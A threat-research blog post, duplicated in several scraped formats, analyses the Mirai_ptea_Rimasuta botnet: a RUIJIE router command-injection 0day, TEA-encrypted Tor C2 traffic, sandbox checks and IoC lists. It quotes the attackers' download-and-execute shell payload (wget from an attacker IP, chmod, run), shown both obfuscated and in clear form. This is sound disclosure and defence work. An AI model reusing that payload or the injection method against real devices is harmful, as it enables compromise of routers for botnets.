<p>After receiving the packet back from C2, Bot forms the content with local IP, random characters in step 1, encrypts it using TEA algorithm (Res_teakey is the key), constructs a packet of 32 bytes in length and sends it to C2, where the value of hash is Net_teakey[1], and finally calculates the C2 hash from step 3 with its own Bot hash is calculated by hash_calc, to be Net_teakey[3]. At this point, Bot already knows the 4 values in Net_teakey, and the order of acquisition is [0,2,1,3].<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_ag4.png" width="860px" /></p>
</li>
<li>
<p>After C2 receives Bot's packet, it first gets Net_teakey[1], then gets Net_teakey[3] by hash_calc, and finally decrypts content to get the 12 strings used by Bot in step 1, and then gets Net_teakey[0] by hash_calc. At this point, C2 also knows the 4 values in Net_teakey, which are obtained in the order of [2,1,3,0].</p>
</li>
</ol>
<p>At this point, the negotiation process ends, and the subsequent communication between Bot & C2 uses the TEA algorithm to encrypt & decrypt the key for Net_teakey.<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_netenc.png" width="860px" /></p>
<h3 id="0x5informationgatheringfunction">0x5: Information gathering function</h3>
<p>This active Mirai_ptea_Rimasuta sample monitors the TCP network connections of the compromised device and uploads the connection details that meet specific requirements to the Reporter. we believe that the authors of Mirai_ptea_Rimasuta will rely on this part of its collected information for his own data mining.</p>
<p>The specific implementation process can be divided into the following steps.</p>
<ol>
<li>
<p>Get the inode information of the current TCP network connection via /proc/net/tcp, as well as the state State information of the network connection</p>
</li>
<li>
<p>Get the socket inode from /proc/[pid]/fd, match it with the inode in step 1, and get the corresponding process.</p>
</li>
<li>
<p>Get the cmdline information of the process in step 2 from /proc/[pid]/cmdline</p>
</li>
<li>
<p>If the state of the network connection is "established" and there is a "wget" string in the cmdline, the cmdline of the process and the remote address & port of the network communication will be reported to the Reporter.</p>
</li>
<li>
<p>If the State of the network connection is "listen" and the local port is one of "3451,8888,17872,9137", and a process has established a connection with this process, the cmdline of this process and the remote address & port of the network communication will be reported to Reporter.</p>
</li>
<li>
<p>If the state of the network connection is neither "established" nor "listen", the cmdline of the process and the remote address & port of the network communication will be reported to Reporter.</p>
</li>
</ol>
<p>The following code snippet is used to establish communication with the Reporter, where the Reporter decrypted the contents and get <code>gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion</code>.<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_report.png" alt="masu_report" loading="lazy"></p>
<p>After successfully establishing communication with the Reporter, the message to be reported is constructed with the following code snippet.<br>
<img src="__GHOST_URL__/content/images/2021/09/masu_repdata.png" width="860px" /></p>
<p>The actual Report packet generated, and the meaning of the fields, is shown below.</p>
<pre><code>RAW packet
00000000: 5A A5 90 D9 F9 37 B4 D6 00 AC 1E 01 09 3A 77 67 Z....7.......:wg
00000010: 65 74 20 2D 71 20 2D 4F 20 2D 20 68 74 74 70 3A et -q -O - http:
00000020: 2F 2F 69 63 6D 70 2E 64 76 72 69 6E 73 69 64 65 //icmp.dvrinside
00000030: 2E 63 6F 6D 3A 39 30 30 30 2F 47 65 74 50 75 62 .com:9000/GetPub
00000040: 6C 69 63 4E 61 6D 65 20 licName
----------------------------------------------------------------------------
Field parsing
5A A5 ----> magic, 2bytes
90 D9 F9 37 ----> remote ip, 4 bytes
B4 D6 ----> remote port, 2 bytes
00 ----> hardcode, 1 byte
AC 1E 01 09 ----> local ip
3A ----> length of "cmdline"
77 67 ..to end ----> cmdline
</code></pre>
<h1 id="recommendation">Recommendation</h1>
<p>We recommend RUIJIE router users to check and update the firmware system in time. Set a complex login password for the Web management interface.</p>
<h1 id="suggestions">Suggestions</h1>
<p>We recommend that users check and update their device firmwares in a timely manner, and check whether there are default accounts that should be disabled.</p>
<p>We recommend the following IoCs to be monitored and blocked on the networks where it is applicable.</p>
<h1 id="contactus">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">Twitter</a> or email us to netlab at 360 dot cn.</p>
<h1 id="ioc">IoC</h1>
<h3 id="downloader">Downloader</h3>
<pre><code>http://2[.56.244.121/tuPuSSbAxXIW
http://2[.56.244.121/gkTHLPZAAsmP
http://2[.56.244.121/VqIXrFxAGpPD
http://2[.56.244.157/qSdYKoxbZakW
http://2[.56.244.157/iZXPWXshhRRt
http://2[.56.244.157/vnlWcwcBunwk
http://2[.56.244.157/IAqecfTrQwQF
http://2[.56.244.157/bwgFHtUOGJcv
http://2[.56.244.121/KaoJHwKMBiAJ
http://2[.56.244.157/yhZyIAclbmhD
http://2[.56.244.157/PszBtRNfnzBO
http://2[.56.244.157/SywXQrWdNIrM
http://2[.56.244.157/awfLWTOmgxTX
http://2[.56.244.157/zEkFejmPQeVR
http://91[.211.91.56/mIoCinspKSkE
http://91[.211.89.242/vkvTxquhFCGV
http://91[.211.88.220/OOGRLHgUnshR
</code></pre>
<h3 id="samplemd5">Sample MD5</h3>
<pre><code>b01b0bc32469f11a47d6e54eef8c7ffb
1a5329dcda994df16e6896f870f04f5e
344df0446b8b40588ca5e72ad3ef7217
777792d3df3f1850fa667b4afbb2cfc1
a6ddfec272fbf867a4cf3c154eaf47aa
904cbd20a5996125f91f9c7c02ca9bbd
</code></pre>
<h3 id="c2">C2</h3>
<pre><code>uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346
wrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288
t5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774
rg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000
vmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644
pnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409
</code></pre>
<h3 id="reporter">Reporter</h3>
<pre><code>gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6667
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6668
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6669
</code></pre>
<h3 id="appendix">Appendix</h3>
<pre><code>----------------------------------------------------------------------
RAW packet
#00000048 99 9f 29 9c 9f 99 72 53 4b 7f e9 08 7c 9b ..)...rS K...|.
# head 99 9f
# hash 29 9c 9f 99
# content 72 53 4b 7f e9 08 7c 9b
----------------------------------------------------------------------
def hash_calc(buf,len):
cnt=len>>2
cnt2=len&3
sum=len
for i in range(0,cnt*4,4):
tmp=((ord(buf[i+1])<<8)+ord(buf[i])+sum)
tmp2=(tmp^(((ord(buf[i+3])<<8)+ord(buf[i+2]))<<11)&0xffffffff)^((tmp<<16)&0xffffffff)
sum=(tmp2+(tmp2>>11))&0xffffffff
if cnt2==3:
tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff
tmp2=tmp^((ord(buf[cnt*4+2])<<18)&0xffffffff)^((tmp<<16)&0xffffffff)
sum=(tmp2+(tmp2>>11))&0xffffffff
elif cnt2==2:
tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff
sum=(tmp^(tmp<<11)&0xffffffff)+((tmp^(tmp<<11)&0xffffffff)>>17)
elif cnt2==1:
tmp=(((ord(buf[cnt*4])+sum)<<10)&0xffffffff)^ (ord(buf[cnt*4])+sum)
sum=(tmp+(tmp>>1))&0xffffffff
else:
pass
tmp3=(sum^(sum*8)&0xffffffff)+((sum^(8*sum)&0xffffffff)>>5)
tmp4=(tmp3^(16*tmp3)&0xffffffff)+((tmp3^(16*tmp3)&0xffffffff)>>17)
final=(tmp4^(tmp4<<25)&0xffffffff)+((tmp4^(tmp4<<25)&0xffffffff)>>6)
return final&0xffffffff
content='''
72 53 4b 7f e9 08 7c 9b
'''.replace(' ', '').replace('\n','').decode('hex')
print hex(hash_calc(content,len(content)))
</code></pre>
<!--kg-card-end: markdown--> | Overview
In July 2021 we blogged about Mirai_ptea, a botnet spreading through an undisclosed vulnerability in KGUARD DVR. At first we thought it was a short-lived botnet that would soon disappear so we just gave it a generic name. But clearly we underestimated the group behind this family, which has in fact been very active and was recently observed to be spreading using a 0day vulnerability in the RUIJIE NBR700 series routers.
It is interesting to note that the author included this paragraph in one of the updated samples.
-_- you guys didnt pick up on the name? really???? its ``RI-MA-SU-TA``. not MIRAI_PTEA this is dumb name.
Mirai_ptea_Rimasuta now has builtin mechanism to check if the running environment is a sandbox, it also encrypts the network traffic to counter the network level detection.
Timeline
* 2021-06-10 Note another mirai variant, mirai_aurora, first exploited this RUIJIE vulnerability to spread
* 2021-09-05 We noticed Mirai_ptea_Rimasuta starting to use exploit
* 2021-09-06 We notified the vendor of the vulnerability
* 2021-09-09 The vendor confirmed the existence of the vulnerability and informed that it has stopped maintaining this version of the device, and the manufacturer believes that it can be mitigated by changing the default password, so it does not intend to provide a new patch to fix the vulnerability.
Vulnerability Analysis
Vulnerability Type
Command injection vulnerability
Vulnerability details
To avoid abuse, we are not disclosing the full details. The description in this section includes only part of the vulnerability exploitation process.
An interface named wget_test.asp test exists on the RUJIE router device, which accepts URLs passed in from the page for wget testing (the testing function is eventually implemented through a script named wget_test.sh), but it does not perform special character checks on the incoming parameters, leading to command injection. Note: The interface requires login authentication. However, the RUIJIE router has default weak password, so an attacker can combine these 2 factors to launch an attack.
According to our investigation, there are still great number of online devices having this problem.
where wget_test.sh reads as follows:
#!/bin/sh
while [ 1 ]
do
wget -O /dev/null $1;
sleep 1;
done
Known affected device versions
NBR1600GDX9 Release(180516)
RGNBR700GDX5 Release(180202)
RGNBR700GDX5 Release(180314)
RGNBR700GDX9 Release(180720)
RGNBR700GWDX5 Release(180314)
RGNBR700GWDX9 Release(180613)
RGNBR700GWDX9 Release(180720)
RGNBR700GWDX9 Release(191023)
RGNBR900GA1C2 Release(170809)
Exploit payload analysis
Some of the vulnerabilities exploit Payload as follows:
The content of the file corresponding to the URL in the above image is shown below. At first glance, it looks a bit strange because it uses many empty variables( to confuse security analysts?)
v=.rib;
cd ${ENrjHs}/t${hSQGxia}mp;
wg${qyZuBCTFDSMnw}et http://2[.56.244.121/gkTHLPZAAsmP -O ${v};
chm${mBSVmBhyrCQcZ}od +x ${v};
./${v};
When these variables are removed, its function is intuitive: download the sample and execute it.
v=.rib;
cd /tmp;
wget http://2.56.244.121/gkTHLPZAAsmP -O ${v};
chmod +x ${v};
./${v};
Botnet size
From our data horizon, the active Bot source IP trends for this botnet are as follows:
Bot source IPs are geographically distributed as follows:
Sample Analysis
The basic information of the ARM sample is shown as follows.
MD5:b01b0bc32469f11a47d6e54eef8c7ffb
ELF 32-bit LSB executable, ARM, version 1, statically linked, stripped
Packer:No
Lib:uclibc
Mirai_ptea_Rimasuta is a Mirai variant, with redesigned encryption algorithm and C2 communication protocol. In terms of encryption algorithm, Mirai_ptea_Rimasuta uses TEA algorithm instead of Mirai's simple XOR encryption, and a lot of sensitive resource information such as C2, Tor Proxy, etc have been encrypted; in terms of C2 communication, Mirai_ptea_Rimasuta uses Tor Proxy to indirectly establish communication with C2. For more details on this part, please refer to our previous Blog, and let’s just look at some changes in this active new sample.
0x1: TEA key
This Mirai_ptea_Rimasuta sample hardcod 2 sets of TEA keys, one for encrypting & decrypting sensitive resources and one for encrypting & decrypting network traffic, to distinguish the former we call it Res_teakey and the latter Net_teakey.
Res_teakey is shown as follows.
Part of the resource information is decrypted as shown below, note the content of index c. This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe
index 0, value = /proc/
index 1, value = /exe
index 2, value = /fd
index 3, value = /proc/net/tcp
index 4, value = /cmdline
index 5, value = /status
index 6, value = /maps
index 7, value = /dev
index 8, value = /dev/misc
index 9, value = /dev/misc/watchdog
index a, value = /dev/watchdog
index b, value = watchdog
index c, value = This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe
(as far as we know, none of us know how to dance chacha…yet…)
Net_teakey is shown below
It is not used in practice, it just acts as a placeholder and Mirai_ptea_Rimasuta dynamically generates a new Net_teakey at runtime, which will be discussed in the Network Protocols section below.
0x2: Sandbox detection
A large number of sandboxes or simulators process samples in a fixed path and name them with MD5 or random strings. Mirai_ptea_Rimasuta takes this cue and checks the path & filename of the sample, and only after it meets the requirements will it go ahead and run, otherwise it exits.
The following shows legit "run paths"
./.rib
/XXriXX
0x3: C2 variation
Mirai_ptea_Rimasuta uses the following code snippet to get the Tor C2, which shows that the C2 table entry in the encrypted resource is 0xD, and there are 6 C2s (random mod 6).
The encrypted information in 0xD is decrypted as follows.
index d, value = uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqdwrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqdt5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkadrg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivydvmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqdpnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion
After excluding the ".onion" at the end of the above string and splitting it by length 56, then splicing it with the .onion string at the end, we get the following 6 C2s, which have a one-to-one correspondence with the port of the hard-coded 6 in the sample.
uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346
wrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288
t5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774
rg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000
vmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644
pnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409
0x4: Network protocol change
The active Mirai_ptea_Rimasuta sample also starts to encrypt the network traffic using the TEA algorithm, and although there is a hard-coded set of keys Net_teakey in the sample, it is not used in practice, but a new key dynamically generated through negotiation with the C2s.
The whole communication process can be divided into 3 steps as follows
Stage 1. communication with C2 is established via TOR PROXY
Stage 2. TEA key negotiation
Stage 3. receive the command from C2, note that the traffic is encrypted at this time
The focus is on the key negotiation in the second step, we will take the actual data traffic generated in the following figure as an example, and we will discuss step by step how Bot & C2 get the same key.
Stage1 is the typical process of establishing communication with TOR C2. Starting from Stage2, Mirai_ptea_Rimasuta's packets consist of 3 parts: head(2bytes), hash(4bytes), and content(Nbytes), where the value of head is fixed in a session and the value of hash is calculated by the hash_calc function for content in the appendix.
The whole negotiation process is shown as follows.
1.
Bot randomly generates 12 characters and uses the hash_calc algorithm in the appendix to get the value of Net_teakey[0]. At this time Bot has Net_teakey[0], C2 does not know the value of task Net_teakey.
2.
Bot randomizes 8 characters to form content, uses hash_calc to calculate content to get hash, and puts the low 16 bits of the hash value into head, then sends this packet of 14 bytes long to C2, and finally calculates the whole packet by hash_calc to get Net_teakey[2] value, at this time Bot has Net_teakey[0,2] and C2 has Net_teakey[2].
3.
C2 returns the packet to Bot, and the value of the hash is used in step
4.
After receiving the packet back from C2, Bot forms the content with local IP, random characters in step 1, encrypts it using TEA algorithm (Res_teakey is the key), constructs a packet of 32 bytes in length and sends it to C2, where the value of hash is Net_teakey[1], and finally calculates the C2 hash from step 3 with its own Bot hash is calculated by hash_calc, to be Net_teakey[3]. At this point, Bot already knows the 4 values in Net_teakey, and the order of acquisition is [0,2,1,3].
5.
After C2 receives Bot's packet, it first gets Net_teakey[1], then gets Net_teakey[3] by hash_calc, and finally decrypts content to get the 12 strings used by Bot in step 1, and then gets Net_teakey[0] by hash_calc. At this point, C2 also knows the 4 values in Net_teakey, which are obtained in the order of [2,1,3,0].
At this point, the negotiation process ends, and the subsequent communication between Bot & C2 uses the TEA algorithm to encrypt & decrypt the key for Net_teakey.
0x5: Information gathering function
This active Mirai_ptea_Rimasuta sample monitors the TCP network connections of the compromised device and uploads the connection details that meet specific requirements to the Reporter. we believe that the authors of Mirai_ptea_Rimasuta will rely on this part of its collected information for his own data mining.
The specific implementation process can be divided into the following steps.
1.
Get the inode information of the current TCP network connection via /proc/net/tcp, as well as the state State information of the network connection
2.
Get the socket inode from /proc/[pid]/fd, match it with the inode in step 1, and get the corresponding process.
3.
Get the cmdline information of the process in step 2 from /proc/[pid]/cmdline
4.
If the state of the network connection is "established" and there is a "wget" string in the cmdline, the cmdline of the process and the remote address & port of the network communication will be reported to the Reporter.
5.
If the State of the network connection is "listen" and the local port is one of "3451,8888,17872,9137", and a process has established a connection with this process, the cmdline of this process and the remote address & port of the network communication will be reported to Reporter.
6.
If the state of the network connection is neither "established" nor "listen", the cmdline of the process and the remote address & port of the network communication will be reported to Reporter.
The following code snippet is used to establish communication with the Reporter, where the Reporter decrypted the contents and get gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion.
After successfully establishing communication with the Reporter, the message to be reported is constructed with the following code snippet.
The actual Report packet generated, and the meaning of the fields, is shown below.
RAW packet
00000000: 5A A5 90 D9 F9 37 B4 D6 00 AC 1E 01 09 3A 77 67 Z....7.......:wg
00000010: 65 74 20 2D 71 20 2D 4F 20 2D 20 68 74 74 70 3A et -q -O - http:
00000020: 2F 2F 69 63 6D 70 2E 64 76 72 69 6E 73 69 64 65 //icmp.dvrinside
00000030: 2E 63 6F 6D 3A 39 30 30 30 2F 47 65 74 50 75 62 .com:9000/GetPub
00000040: 6C 69 63 4E 61 6D 65 20 licName
----------------------------------------------------------------------------
Field parsing
5A A5 ----> magic, 2bytes
90 D9 F9 37 ----> remote ip, 4 bytes
B4 D6 ----> remote port, 2 bytes
00 ----> hardcode, 1 byte
AC 1E 01 09 ----> local ip
3A ----> length of "cmdline"
77 67 ..to end ----> cmdline
Recommendation
We recommend RUIJIE router users to check and update the firmware system in time. Set a complex login password for the Web management interface.
Suggestions
We recommend that users check and update their device firmwares in a timely manner, and check whether there are default accounts that should be disabled.
We recommend the following IoCs to be monitored and blocked on the networks where it is applicable.
Contact us
Readers are always welcomed to reach us on Twitter or email us to netlab at 360 dot cn.
IoC
Downloader
http://2[.56.244.121/tuPuSSbAxXIW
http://2[.56.244.121/gkTHLPZAAsmP
http://2[.56.244.121/VqIXrFxAGpPD
http://2[.56.244.157/qSdYKoxbZakW
http://2[.56.244.157/iZXPWXshhRRt
http://2[.56.244.157/vnlWcwcBunwk
http://2[.56.244.157/IAqecfTrQwQF
http://2[.56.244.157/bwgFHtUOGJcv
http://2[.56.244.121/KaoJHwKMBiAJ
http://2[.56.244.157/yhZyIAclbmhD
http://2[.56.244.157/PszBtRNfnzBO
http://2[.56.244.157/SywXQrWdNIrM
http://2[.56.244.157/awfLWTOmgxTX
http://2[.56.244.157/zEkFejmPQeVR
http://91[.211.91.56/mIoCinspKSkE
http://91[.211.89.242/vkvTxquhFCGV
http://91[.211.88.220/OOGRLHgUnshR
Sample MD5
b01b0bc32469f11a47d6e54eef8c7ffb
1a5329dcda994df16e6896f870f04f5e
344df0446b8b40588ca5e72ad3ef7217
777792d3df3f1850fa667b4afbb2cfc1
a6ddfec272fbf867a4cf3c154eaf47aa
904cbd20a5996125f91f9c7c02ca9bbd
C2
uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346
wrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288
t5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774
rg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000
vmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644
pnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409
Reporter
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6667
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6668
gmfj55g3lvkik3d73euirhjnicny3x32azifmtboqojsglnnifulbzqd.onion:6669
Appendix
----------------------------------------------------------------------
RAW packet
#00000048 99 9f 29 9c 9f 99 72 53 4b 7f e9 08 7c 9b ..)...rS K...|.
# head 99 9f
# hash 29 9c 9f 99
# content 72 53 4b 7f e9 08 7c 9b
----------------------------------------------------------------------
def hash_calc(buf,len):
cnt=len>>2
cnt2=len&3
sum=len
for i in range(0,cnt*4,4):
tmp=((ord(buf[i+1])<<8)+ord(buf[i])+sum)
tmp2=(tmp^(((ord(buf[i+3])<<8)+ord(buf[i+2]))<<11)&0xffffffff)^((tmp<<16)&0xffffffff)
sum=(tmp2+(tmp2>>11))&0xffffffff
if cnt2==3:
tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff
tmp2=tmp^((ord(buf[cnt*4+2])<<18)&0xffffffff)^((tmp<<16)&0xffffffff)
sum=(tmp2+(tmp2>>11))&0xffffffff
elif cnt2==2:
tmp=((ord(buf[cnt*4+1])<<8) +ord(buf[cnt*4])+sum)&0xffffffff
sum=(tmp^(tmp<<11)&0xffffffff)+((tmp^(tmp<<11)&0xffffffff)>>17)
elif cnt2==1:
tmp=(((ord(buf[cnt*4])+sum)<<10)&0xffffffff)^ (ord(buf[cnt*4])+sum)
sum=(tmp+(tmp>>1))&0xffffffff
else:
pass
tmp3=(sum^(sum*8)&0xffffffff)+((sum^(8*sum)&0xffffffff)>>5)
tmp4=(tmp3^(16*tmp3)&0xffffffff)+((tmp3^(16*tmp3)&0xffffffff)>>17)
final=(tmp4^(tmp4<<25)&0xffffffff)+((tmp4^(tmp4<<25)&0xffffffff)>>6)
return final&0xffffffff
content='''
72 53 4b 7f e9 08 7c 9b
'''.replace(' ', '').replace('\n','').decode('hex')
print hex(hash_calc(content,len(content)))
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"# Overview\nIn July 2021 we blogged about [Mirai_ptea](__GHOST_URL__/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/), a botnet spreading through an undisclosed vulnerability in KGUARD DVR. At first we thought it was a short-lived botnet that would soon disappear so we just gave it a generic name. But clearly we underestimated the group behind this family, which has in fact been very active and was recently observed to be spreading using a 0day vulnerability in the [RUIJIE NBR700](https://www.ruijienetworks.com/) series routers.\n\nIt is interesting to note that the author included this paragraph in one of the updated samples.\n\n`-_- you guys didnt pick up on the name? really???? its ``RI-MA-SU-TA``. not MIRAI_PTEA this is dumb name.`\n\nMirai_ptea_Rimasuta now has builtin mechanism to check if the running environment is a sandbox, it also encrypts the network traffic to counter the network level detection.\n\n## Timeline\n- 2021-06-10 Note another mirai variant, mirai_aurora, first exploited this RUIJIE vulnerability to spread\n- 2021-09-05 We noticed Mirai_ptea_Rimasuta starting to use exploit\n- 2021-09-06 We notified the vendor of the vulnerability\n- 2021-09-09 The vendor confirmed the existence of the vulnerability and informed that it has [stopped maintaining](https://www.ruijie.com.cn/fw/xw/86338/) this version of the device, and the manufacturer believes that it can be mitigated by changing the default password, so it does not intend to provide a new patch to fix the vulnerability.\n\n# Vulnerability Analysis\n### Vulnerability Type\nCommand injection vulnerability\n\n### Vulnerability details\n\nTo avoid abuse, we are not disclosing the full details. The description in this section includes only part of the vulnerability exploitation process.\n\nAn interface named `wget_test.asp` test exists on the RUJIE router device, which accepts URLs passed in from the page for wget testing (the testing function is eventually implemented through a script named `wget_test.sh`), but it does not perform special character checks on the incoming parameters, leading to command injection. Note: The interface requires login authentication. However, the RUIJIE router has default weak password, so an attacker can combine these 2 factors to launch an attack. \n\nAccording to our investigation, there are still great number of online devices having this problem.\n\n\n\nwhere `wget_test.sh` reads as follows:\n```\n#!/bin/sh\n\nwhile [ 1 ]\ndo\n\twget -O /dev/null $1;\n\tsleep 1;\ndone\n```\n\n### Known affected device versions\n```\nNBR1600GDX9 Release(180516)\nRGNBR700GDX5 Release(180202)\nRGNBR700GDX5 Release(180314)\nRGNBR700GDX9 Release(180720)\nRGNBR700GWDX5 Release(180314)\nRGNBR700GWDX9 Release(180613)\nRGNBR700GWDX9 Release(180720)\nRGNBR700GWDX9 Release(191023)\nRGNBR900GA1C2 Release(170809)\n```\n\n### Exploit payload analysis\nSome of the vulnerabilities exploit Payload as follows:\n\n\nThe content of the file corresponding to the URL in the above image is shown below. At first glance, it looks a bit strange because it uses many empty variables( to confuse security analysts?)\n```\nv=.rib;\ncd ${ENrjHs}/t${hSQGxia}mp;\nwg${qyZuBCTFDSMnw}et http://2[.56.244.121/gkTHLPZAAsmP -O ${v};\nchm${mBSVmBhyrCQcZ}od +x ${v};\n./${v};\n```\nWhen these variables are removed, its function is intuitive: download the sample and execute it.\n```\n\nv=.rib;\ncd /tmp;\nwget http://2.56.244.121/gkTHLPZAAsmP -O ${v};\nchmod +x ${v};\n./${v};\n```\n\n# Botnet size\nFrom our data horizon, the active Bot source IP trends for this botnet are as follows:\n\n\nBot source IPs are geographically distributed as follows:\n\n\n\n# Sample Analysis\nThe basic information of the ARM sample is shown as follows.\n```\nMD5:b01b0bc32469f11a47d6e54eef8c7ffb\nELF 32-bit LSB executable, ARM, version 1, statically linked, stripped\nPacker:No\nLib:uclibc\n```\n\nMirai_ptea_Rimasuta is a Mirai variant, with redesigned encryption algorithm and C2 communication protocol. In terms of encryption algorithm, Mirai_ptea_Rimasuta uses TEA algorithm instead of Mirai's simple XOR encryption, and a lot of sensitive resource information such as C2, Tor Proxy, etc have been encrypted; in terms of C2 communication, Mirai_ptea_Rimasuta uses Tor Proxy to indirectly establish communication with C2. For more details on this part, please refer to our [previous Blog](__GHOST_URL__/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/), and let’s just look at some changes in this active new sample.\n\n### 0x1: TEA key\n\nThis Mirai_ptea_Rimasuta sample hardcod 2 sets of TEA keys, one for encrypting & decrypting sensitive resources and one for encrypting & decrypting network traffic, to distinguish the former we call it Res_teakey and the latter Net_teakey.\n\n`Res_teakey` is shown as follows.\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_reskey.png\" width=\"860px\" />\n\nPart of the resource information is decrypted as shown below, note the content of index c. `This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe`\n\n```\nindex 0, value = /proc/\nindex 1, value = /exe\nindex 2, value = /fd\nindex 3, value = /proc/net/tcp\nindex 4, value = /cmdline\nindex 5, value = /status\nindex 6, value = /maps\nindex 7, value = /dev\nindex 8, value = /dev/misc\nindex 9, value = /dev/misc/watchdog\nindex a, value = /dev/watchdog\nindex b, value = watchdog\nindex c, value = This WEek on NeTLAb 360 bOTnet oPERATOR lEaRNS CHacha SliDe\n```\n\n(as far as we know, none of us know how to dance chacha…yet…)\n\n`Net_teakey` is shown below\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_netkey.png\" width=\"860px\" />\nIt is not used in practice, it just acts as a placeholder and Mirai_ptea_Rimasuta dynamically generates a new Net_teakey at runtime, which will be discussed in the Network Protocols section below.\n\n\n\n### 0x2: Sandbox detection\n\nA large number of sandboxes or simulators process samples in a fixed path and name them with MD5 or random strings. Mirai_ptea_Rimasuta takes this cue and checks the path & filename of the sample, and only after it meets the requirements will it go ahead and run, otherwise it exits.\n\n\n\nThe following shows legit \"run paths\"\n```\n./.rib\n/XXriXX\n```\n\n### 0x3: C2 variation\nMirai_ptea_Rimasuta uses the following code snippet to get the Tor C2, which shows that the C2 table entry in the encrypted resource is 0xD, and there are 6 C2s (random mod 6).\n\n<img src=\"__GHOST_URL__/content/images/2021/09/masu_c2.png\" width=\"860px\" />\n\nThe encrypted information in 0xD is decrypted as follows.\n```\nindex d, value = uf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqdwrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqdt5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkadrg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivydvmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqdpnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion\n```\nAfter excluding the \".onion\" at the end of the above string and splitting it by length 56, then splicing it with the .onion string at the end, we get the following 6 C2s, which have a one-to-one correspondence with the port of the hard-coded 6 in the sample.\n```\nuf7ejrtdd6vvrsobk6rtsuicwogqyf6g72s55qop2kvpt7r4wfui6fqd.onion:20346\nwrabajewouypwxdsq4rxn7heb3k53ihoogik46ji6o7gj65yeo33reqd.onion:32288\nt5pmcdgiipaznhuexh2usvojfixqzudnizgzeyihsyu7e5rehj7bfkad.onion:17774\nrg7t465nvnnzugdbdqdg3yf2pypssynb4wxavgghb4me2lecnw23ivyd.onion:6000\nvmdm5jrmksizpt6f7trsno6od7xcfs6hzywah46eaju72jkfvqbqdcqd.onion:27644\npnjc66nasxdomwlyqo32d4ft43pooo7s4yuom3gn2gr5bmcpw7lgq4qd.onion:4409\n```\n\n### 0x4: Network protocol change \n\nThe active Mirai_ptea_Rimasuta sample also starts to encrypt the network traffic using the TEA algorithm, and although there is a hard-coded set of keys Net_teakey in the sample, it is not used in practice, but a new key dynamically generated through negotiation with the C2s. \n\nThe whole communication process can be divided into 3 steps as follows\n\nStage 1. communication with C2 is established via TOR PROXY \nStage 2. TEA key negotiation\nStage 3. receive the command from C2, note that the traffic is encrypted at this time\n\nThe focus is on 